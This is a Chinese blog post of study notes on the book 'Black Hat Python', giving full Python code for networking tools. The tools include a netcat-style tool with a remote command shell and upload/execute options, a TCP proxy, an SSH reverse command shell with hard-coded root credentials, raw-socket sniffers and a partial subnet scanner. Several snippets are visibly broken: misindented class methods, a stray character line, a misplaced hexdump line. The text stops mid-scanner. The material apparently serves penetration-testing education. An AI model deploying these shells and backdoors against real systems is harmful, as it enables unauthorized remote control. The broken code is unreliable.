Python黑帽子——黑客与渗透测试编程之道 – 作者:cloudcoll

第一章  设置Python环境

1、Windows中安装PyCharm。

2、安装python2和python3。

3、安装Kali linux和Windows虚拟机。

4、编写第一个程序sum.py(python3)

def sum(number_one, number_two):
    number_one_int = convert_integer(number_one)
    number_two_int = convert_integer(number_two)

    result = number_one_int + number_two_int

    return result

def convert_integer(number_string):

    converted_integer = int(number_string)
    return converted_integer

answer = sum("1","2")

第二章  网络基础

1、TCP客户端

tcpClient.py(python3)

import socket

target_host = "127.0.0.1"
target_port = 1234

# 建立套接字,socket.AF_INET表示使用标准的Ipv4地址,socket.SOCK_STREAM表示tcp客户端
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接指定ip和端口
client.connect((target_host, target_port))

# 发送数据
sendData = "Hello,my dear!"
client.send(sendData.encode())

# 接收数据
response = client.recv(4096)

print(response.decode())

2、UDP客户端

udpClient.py(python3)

import socket

target_host = "127.0.0.1"
target_port = 9999

# socket.SOCK_DGRAM表示upd客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# udp发送数据
sendDate = "Hello world,my friends!".encode()
client.sendto(sendDate, (target_host, target_port))

# udp接收数据
data, addr = client.recvfrom(4096)

print(data.decode(), addr)

3、TCP服务器

tcpServer.py(python3)

import socket
import threading

# 表示所有ip
bind_ip = "0.0.0.0"
bind_port = 1234

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))

server.listen(5)

print("[*] Listening on %s:%d" % (bind_ip, bind_port))


def handle_client(client_socket):
    request = client_socket.recv(1024)

    print("[*] Received: %s", request)

    client_socket.send("ACK!".encode())

    client_socket.close()


while True:

    # 接收连接者的信息
    client, addr = server.accept()

    print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))

    # 开启一个线程,让handle_client函数处理,传入参数client
    client_handler = threading.Thread(target=handle_client, args=(client,))

    client_handler.start()

1622446811_60b492db159ceca161023.png!small?1622446811926

4、取代netcat

bhpnet.py(python3)

import sys
import socket
import getopt
import threading
import subprocess
import chardet

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0


def usage():
    print("BHP Net Tool")
    print("")
    print("Usage: bhpnet.py -t target_host - p port")
    print("-l --listen              - listen on [host]:[port] for incoming connections")
    print("-e --execute=file_to_run -execute the given file upon receiving a connection")
    print("-c --command             - initialize a commandshell")
    print("-u --upload=destination  - upon receiving connection upload a file and write to [destination]")
    print()
    print()
    print("Examples:")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
    print("echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135")
    sys.exit(0)


def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))

        if len(buffer):
            client.send(buffer.encode())

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096).decode()
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response)

            # 等待更多的输入
            buffer = input("")
            buffer += "\n"

            # 发送出去
            client.send(buffer.encode())

    except:
        print("[*] Exception! Exiting.")

    # 关闭连接
    client.close()


def run_command(command):
    # 删除字符串末尾的空格
    command = command.rstrip()
    # 运行命令并将输出放回
    try:
        # 先解码,在执行命令
        command = command.decode()
        # 利用subprocess运行命令并将输出返回
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = str.encode("Failed to execute command.\r\n")
    # 将输出发送
    return output


def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检查上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024).decode()

            if not data:
                break
            else:
                file_buffer += data

        try:
            with open(upload_destination, "wb") as file_descriptor:
                file_descriptor.write(file_buffer)
                client_socket.send(str.encode("Successfully saved file to %s\r\n" % upload_destination))
        except:
            client_socket.send(str.encode("Failed to save file to %s\r\n" % upload_destination))

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output.encode())

    # 如果需要一个命令行shell,那么我们进入另一个循环
    if command:
        while True:

            # 跳出一个窗口
            client_socket.send("<BHP:#>".encode())
            cmd_buffer = ""
            cmd_buffer = cmd_buffer.encode()
            while "\n" not in cmd_buffer.decode():
                cmd_buffer += client_socket.recv(1024)

            #  返回命令输出
            response = run_command(cmd_buffer)

            # 这里使用detect函数进行判断字节编码,并按照结果进行解码。
# 若使用python2进行编写则无该问题
            btype = chardet.detect(response)
            if btype['encoding'] == 'GB2312':
                response = response.decode('gbk')
                response = str.encode(response)

            # 返回响应数据
            client_socket.send(response)


def server_loop():
    global target

    # 如果没有定义目标,那我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()


def main():
    global listen, port, execute, command, upload_destination, target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项,若没有该选项则显示用法
# hlc都不会传值,所以后面没有冒号
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
                                   ["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 我们是进行监听还是仅从标准输入读取数据并发送数据?
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D(Windows下按CTRL-Z)
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()


# 调用main函数
if __name__ == '__main__':
    main()

1622446962_60b49372c6cc05c8acead.png!small?1622446964726

1622447254_60b49496e002d2be0b936.png!small?1622447255695

1622447596_60b495ec14fee4cd7c46d.png!small?1622447597187

1622447343_60b494ef0e8abdd714f44.png!small

5、创建一个TCP代理

proxy.py(python2)

# coding=utf-8
import socket
import sys
import threading


def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:

        print"[!!] Failed to listen on %s:%d" % (local_host, local_port)

        print"[!!] Check for other listening sockets or correct permissions. "
        sys.exit(0)

    print"[*] Listening on %s:%d" % (local_host, local_port)

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        #  打印出本地连接信息
        print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])

        #  开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))

        proxy_thread.start()


def proxy_handler(client_socket,remote_host,remote_port,receive_first):

    #  连接远程主机
    remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    remote_socket.connect((remote_host,remote_port))

    #  如果必要从远程主机接收数据
    if receive_first:

        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        #  发送给我们的响应数据
        remote_buffer = response_handler(remote_buffer)

        #  如果我们有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)
            client_socket.send(remote_buffer)

    #  现在我们从本地循环读取数据,发送给远程主机和本地主机
    while True:

        #  从本地读取主机
        local_buffer = receive_from(client_socket)

        if len(local_buffer):

            print "[==>] Received %d bytes from localhost. "%len(local_buffer)
            hexdump(local_buffer)

            #  发送给我们的本地请求
            local_buffer = request_handler(local_buffer)

            #  向远程主机发送数据
            remote_socket.send(local_buffer)
            print "[==>] Sent to remote ."

        #  接受响应的数据
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):

            print "[<==] Received %d bytes from remote . "%len(remote_buffer)
            hexdump(remote_buffer)

            #  发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)

            #  将响应发送给本地socket
            client_socket.send(remote_buffer)

            print "[<==] Sent to localhost. "

        #  如果两边都没有数据,关闭连接
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print "[*] No more data. Closing cnnections. "

            break


#  十六进制导出函数
def hexdump(src,length=16):
    result = []
    digits = 4 if isinstance(src,unicode) else 2

    for i in xrange(0,len(src),length):
        s = src[i:i+length]

# 转为16进行
        hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])

# 转为可打印文本,不可打印的用'.'代替
        text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(b"%04X  %-*s  %s" % (i, length*(digits + 1), hexa, text))

    print b'\n'.join(result)


def receive_from(connection):

    buffer = ""

    #  我们设置了两秒的超时,这取决于目标的情况,可能需要调整
    connection.settimeout(2)

    try:
        #  持续从缓存中读取数据直到没有数据或超时
        while True:
            data = connection.recv(4096)
            if not data:
                break
            buffer += data
    except:
        pass

    return buffer


#  对目标是远程主机的请求进行修改
def request_handler(buffer):
    #  执行包修改
    return buffer


#  对目标是本地主机的响应进行修改
def response_handler(buffer):
    #  执行包修改
    return buffer


def main():

    #  没有华丽的命令行解析
    if len(sys.argv[1:]) != 5:
        print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "
        print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    #  设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    #  设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    #  告诉代理在发送给远程主机之前连接和接收数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    #  现在设置好我们的监听socket
    server_loop(local_host,local_port,remote_host,remote_port,receive_first)

main()

1622447571_60b495d3cc7d9f547b6f8.png!small?1622447572697

1622447654_60b4962690d98145cba46.png!small?1622447655569

1622447675_60b4963b5a49549e4e485.png!small?1622447676157

1622447762_60b496926ec228cc8f2c4.png!small?1622447763567

6、通过Paramiko使用SSH

bh_sshcmd.py(python2)

# coding=utf-8
import threading
import paramiko
import subprocess

# paramiko 支持用密钥认证来代理密码验证,推荐密钥认证


def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()

    # 支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    # client.load_host_key('/root/.ssh/known_hosts')

    # 设置自动添加和保存目标ssh服务器的ssh密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # 连接
    client.connect(ip, username=user, password=passwd)

    # 打开会话
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        # 执行命令
        ssh_session.exec_command(command)
        # 返回命令执行结果(1024字符)
        print ssh_session.recv(1024)

    return


ssh_command('192.168.220.136', 'root', '123', 'id')

1622448038_60b497a6c675ea0147c50.png!small?1622448040381

1622448068_60b497c4b2ba0c28e231b.png!small?1622448070301

bh_sshRcmd.py(python2)

# coding=utf-8
import threading
import paramiko
import subprocess


def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()

    # 支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    # client.load_host_key('/root/.ssh/known_hosts')

    # 设置自动添加和保存目标ssh服务器的ssh密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # 连接
    client.connect(ip, username=user, password=passwd)

    # 打开会话
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        # 发送command这个字符串,并不是执行命令
        ssh_session.send(command)
        # 返回命令执行结果(1024个字符)
        print ssh_session.recv(1024)
        while True:
            command = ssh_session.recv(1024) # get command from the SSH server
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
        client.close()
    return


ssh_command('192.168.220.136', 'root', '123', 'ClientConnected')

bh_sshserver.py(python2)

# coding=utf-8
import sys
import paramiko
import threading
import socket

if len(sys.argv[1:]) != 2:
    print "Usage: ./ssh_server.py [localhost] [localport] "
    print "Example: ./ssh_server.py 127.0.0.1 8080"
    sys.exit(0)

# 使用 Paramiko示例文件的密钥
# host_key = paramiko.RSAKey(filename='test_rsa.key')
# 或者自己创建一个密钥文件
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')


class Server(paramiko.ServerInterface):
    def __init__(self):
        # 执行start_server()方法首先会触发Event,如果返回成功, is_active返回True
        self.event = threading.Event()

    def check_auth_password(self, username, password):
        # 当is_active返回True,进入认证阶段
        if(username == 'root') and (password == '123'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

    def check_channel_request(self, kind, chanid):
        # 当认证成功,client会请求打开一个Channel
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED


server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    # SOL_SOCKET    意思是正在使用的socket选项。
    # SO_REUSEADDR  当socket关闭后,本地端用于该socket的端口号立刻就可以被重用
    # 1    表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
    sock.bind((server, ssh_port))
    sock.listen(100)
    print '[+] Listening ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

try:
    # 用sock.accept()返回的socket实例化Transport
    bhSession = paramiko.Transport(client)
    # 添加一个RSA密钥加密会话
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        # 启动SSH服务端
        bhSession.start_server(server=server)
    except paramiko.SSHException, x:
        print '[-] SSH negotiation failed'
    # 等待客户端开启通道,超时时间为20秒
    chan = bhSession.accept(20)
    print '[+] Authenticated!'
    print chan.recv(1024)
    chan.send("Welcome to bh_ssh")
    while True:
        try:
            command = raw_input("Enter command:").strip("\n")
            if command != 'exit':
                chan.send(command)
                print chan.recv(1024) + '\n'
            else:
                chan.send('exit')
                print 'exiting'
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception, e:
    print '[-] Caught exception: ' + str(e)
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

1622448666_60b49a1aa6aa3e354a689.png!small?1622448667725

1622448749_60b49a6d4efdbd0be96b5.png!small?1622448750602

1622448784_60b49a900490f4ce40540.png!small?1622448784762

7、SSH隧道

该文件为Paramiko示例文件

# rforward.py
#!/usr/bin/env python

# Copyright (C) 2003-2007  Robey Pointer <[email protected]>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA.

"""
Sample script showing how to do local port forwarding over paramiko.
This script connects to the requested SSH server and sets up local port
forwarding (the openssh -L option) from a local port through a tunneled
connection to a destination reachable from the SSH server machine.
"""

import getpass
import os
import socket
import select

try:
    import SocketServer
except ImportError:
    import socketserver as SocketServer

import sys
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


class ForwardServer(SocketServer.ThreadingTCPServer):
    daemon_threads = True
    allow_reuse_address = True


class Handler(SocketServer.BaseRequestHandler):
    def handle(self):
        try:
            chan = self.ssh_transport.open_channel(
                "direct-tcpip",
                (self.chain_host, self.chain_port),
                self.request.getpeername(),
            )
        except Exception as e:
            verbose(
                "Incoming request to %s:%d failed: %s"
                % (self.chain_host, self.chain_port, repr(e))
            )
            return
        if chan is None:
            verbose(
                "Incoming request to %s:%d was rejected by the SSH server."
                % (self.chain_host, self.chain_port)
            )
            return

        verbose(
            "Connected!  Tunnel open %r -> %r -> %r"
            % (
                self.request.getpeername(),
                chan.getpeername(),
                (self.chain_host, self.chain_port),
            )
        )
        while True:
            r, w, x = select.select([self.request, chan], [], [])
            if self.request in r:
                data = self.request.recv(1024)
                if len(data) == 0:
                    break
                chan.send(data)
            if chan in r:
                data = chan.recv(1024)
                if len(data) == 0:
                    break
                self.request.send(data)

        peername = self.request.getpeername()
        chan.close()
        self.request.close()
        verbose("Tunnel closed from %r" % (peername,))


def forward_tunnel(local_port, remote_host, remote_port, transport):
    # this is a little convoluted, but lets me configure things for the Handler
    # object.  (SocketServer doesn't give Handlers any way to access the outer
    # server normally.)
    class SubHander(Handler):
        chain_host = remote_host
        chain_port = remote_port
        ssh_transport = transport

    ForwardServer(("", local_port), SubHander).serve_forever()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a forward tunnel across an SSH server, using paramiko. A local port
(given with -p) is forwarded across an SSH session to an address:port from
the SSH server. This is similar to the openssh -L option.
"""


def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(":", 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose

    parser = OptionParser(
        usage="usage: %prog [options] <ssh-server>[:<server-port>]",
        version="%prog 1.0",
        description=HELP,
    )
    parser.add_option(
        "-q",
        "--quiet",
        action="store_false",
        dest="verbose",
        default=True,
        help="squelch all informational output",
    )
    parser.add_option(
        "-p",
        "--local-port",
        action="store",
        type="int",
        dest="port",
        default=DEFAULT_PORT,
        help="local port to forward (default: %d)" % DEFAULT_PORT,
    )
    parser.add_option(
        "-u",
        "--user",
        action="store",
        type="string",
        dest="user",
        default=getpass.getuser(),
        help="username for SSH authentication (default: %s)"
        % getpass.getuser(),
    )
    parser.add_option(
        "-K",
        "--key",
        action="store",
        type="string",
        dest="keyfile",
        default=None,
        help="private key file to use for SSH authentication",
    )
    parser.add_option(
        "",
        "--no-key",
        action="store_false",
        dest="look_for_keys",
        default=True,
        help="don't look for or use a private key file",
    )
    parser.add_option(
        "-P",
        "--password",
        action="store_true",
        dest="readpass",
        default=False,
        help="read password (for key or password auth) from stdin",
    )
    parser.add_option(
        "-r",
        "--remote",
        action="store",
        type="string",
        dest="remote",
        default=None,
        metavar="host:port",
        help="remote host and port to forward to",
    )
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error("Incorrect number of arguments.")
    if options.remote is None:
        parser.error("Remote address required (-r).")

    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass("Enter SSH password: ")

    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
    try:
        client.connect(
            server[0],
            server[1],
            username=options.user,
            key_filename=options.keyfile,
            look_for_keys=options.look_for_keys,
            password=password,
        )
    except Exception as e:
        print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
        sys.exit(1)

    verbose(
        "Now forwarding port %d to %s:%d ..."
        % (options.port, remote[0], remote[1])
    )

    try:
        forward_tunnel(
            options.port, remote[0], remote[1], client.get_transport()
        )
    except KeyboardInterrupt:
        print("C-c: Port forwarding stopped.")
        sys.exit(0)


if __name__ == "__main__":
    main()

1622448992_60b49b60675ee6c6615fa.png!small?1622448993627

1622449020_60b49b7c3b25692624856.png!small?1622449025824

1622449171_60b49c13a00570c50f6a9.png!small?1622449172687

1622449199_60b49c2f24dc8402268bc.png!small?1622449200115

1622449230_60b49c4e96d04daee6d4d.png!small?1622449231567

第三章  原始套接字和流量嗅探

1、开发UDP主机发现工具

sniffer.py(python2)

# Windows下运行:管理员权限打开cmd
# coding=utf-8
import socket
import os

host = "192.168.220.136"

# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# 读取单个数据包
print sniffer.recvfrom(65535)

# 在Windows平台上关闭混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

Linux下运行:

1622449597_60b49dbdbd36d560e6c0f.png!small?1622449598874

Windows下运行:

1622449695_60b49e1f54078a3632279.png!small?1622449696207

2、解码IP层

sniffer_ip_header_decoder.py(python2)

# coding=utf-8
# Windows下运行:管理员权限打开cmd
import socket
import os
import struct
from ctypes import *

host = "192.168.220.136"


# IP头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    # ip head length:头长度
        ("version",         c_ubyte, 4),    # 版本
        ("tos",             c_ubyte),       # 服务类型
        ("len",             c_ushort),      # ip数据包总长度
        ("id",              c_ushort),      # 标识符
        ("offset",          c_ushort),      # 片偏移
        ("ttl",             c_ubyte),       # 生存时间
        ("protocol_num",    c_ubyte),       # 协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      # 头部校验和
        ("src",             c_ulong),       # 源ip地址
        ("dst",             c_ulong)        # 目的ip地址
    ]
# 程序运行在Linux下时需要将_fields_中的src和dst类型修改一下,改为 c_uint32
def __new__(self, socket_buffer=None):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称对应
        self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}

        # 可读性更强的IP地址
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)


# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

try:
    while True:

        # 读取数据包
        raw_buffer = sniffer.recvfrom(65535)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        print "Protocol : %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
# 处理CTRL-C
except KeyboardInterrupt:

    # 如果运行在Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

1622450292_60b4a074f3b8fa948738b.png!small?1622450294189

3、解码ICMP

sniffer_with_icmp.py(python2)

# coding=utf-8
# Windows下需要使用管理员权限打开cmd运行
import socket
import os
import struct
from ctypes import *

host = "192.168.220.136"


# IP头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    # ip head length:头长度
        ("version",         c_ubyte, 4),    # 版本
        ("tos",             c_ubyte),       # 服务类型
        ("len",             c_ushort),      # ip数据包总长度
        ("id",              c_ushort),      # 标识符
        ("offset",          c_ushort),      # 片偏移
        ("ttl",             c_ubyte),       # 生存时间
        ("protocol_num",    c_ubyte),       # 协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      # 头部校验和
        ("src",             c_ulong),       # 源ip地址
        ("dst",             c_ulong)        # 目的ip地址
    ]

    # 程序运行在Linux下时需要将_fields_中的src和dst类型修改一下,改为 c_uint32

    def __new__(self, socket_buffer=None):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称对应
        self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}

        # 可读性更强的IP地址
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)
o

# ICMP
class ICMP(Structure):
    _fields_ = [
        ("type",            c_ubyte),
        ("code",            c_ubyte),
        ("checksum",        c_ushort),
        ("unused",          c_ushort),
        ("next_hop_mtu",    c_ushort)
    ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass


# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

try:
    while True:

        # 读取数据包
        raw_buffer = sniffer.recvfrom(65535)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        print "Protocol : %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # 处理ICMP协议
        if ip_header.protocol == "ICMP":
            # 计算ICMP包的起始位置:IP包头长度的值 * 4 等于 真正IP包头的长度,一般为20byte(最小的IP包头),为ICMP数据起始位置
            offset = ip_header.ihl * 4
            buf = raw_buffer[offset:offset + sizeof(ICMP)]

            # 解释ICMP数据
            icmp_header = ICMP(buf)

            print "ICMP -> Type: %d  Code: %d" % (icmp_header.type, icmp_header.code)

# 处理CTRL-C
except KeyboardInterrupt:

    # 如果运行在Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

1622450756_60b4a244d677e365e9cd1.png!small?1622450758219

4、扫描器

scanner.py(python2)

# coding=utf-8
# Windows下需要使用管理员权限打开cmd运行
import socket
import os
import struct
import sys
import threading
import time
from ctypes import *
from netaddr import IPNetwork, IPAddress

host = "192.168.220.136"

subnet = "192.168.220.0/24"

# 自定义的字符串,我们将在ICMP响应中进行核对
magic_message = "PYTHONRULES!"


# 批量发送UDP数据包
def udp_sender(subnet, magic_message):
    time.sleep(5)
    sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for ip in IPNetwork(subnet):
        try:
            sender.sendto(magic_message, ("%s" % ip, 65212))
        except:
            pass


# IP头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    # ip head length:头长度
        ("version",         c_ubyte, 4),    # 版本
        ("tos",             c_ubyte),       # 服务类型
        ("len",             c_ushort),      # ip数据包总长度
        ("id",              c_ushort),      # 标识符
        ("offset",          c_ushort),      # 片偏移
        ("ttl",             c_ubyte),       # 生存时间
        ("protocol_num",    c_ubyte),       # 协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      # 头部校验和
        ("src",             c_ulong),       # 源ip地址
        ("dst",             c_ulong)        # 目的ip地址
    ]

    # 程序运行在Linux下时需要将_fields_中的src和dst类型修改一下,改为 c_uint32

    def __new__(self, socket_buffer=None):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称对应
        self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}

        # 可读性更强的IP地址
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)


# ICMP
class ICMP(Structure):
    _fields_ = [
        ("type",            c_ubyte),
        ("code",            c_ubyte),
        ("checksum",        c_ushort),
        ("unused",          c_ushort),
        ("next_hop_mtu",    c_ushort)
    ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass


# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

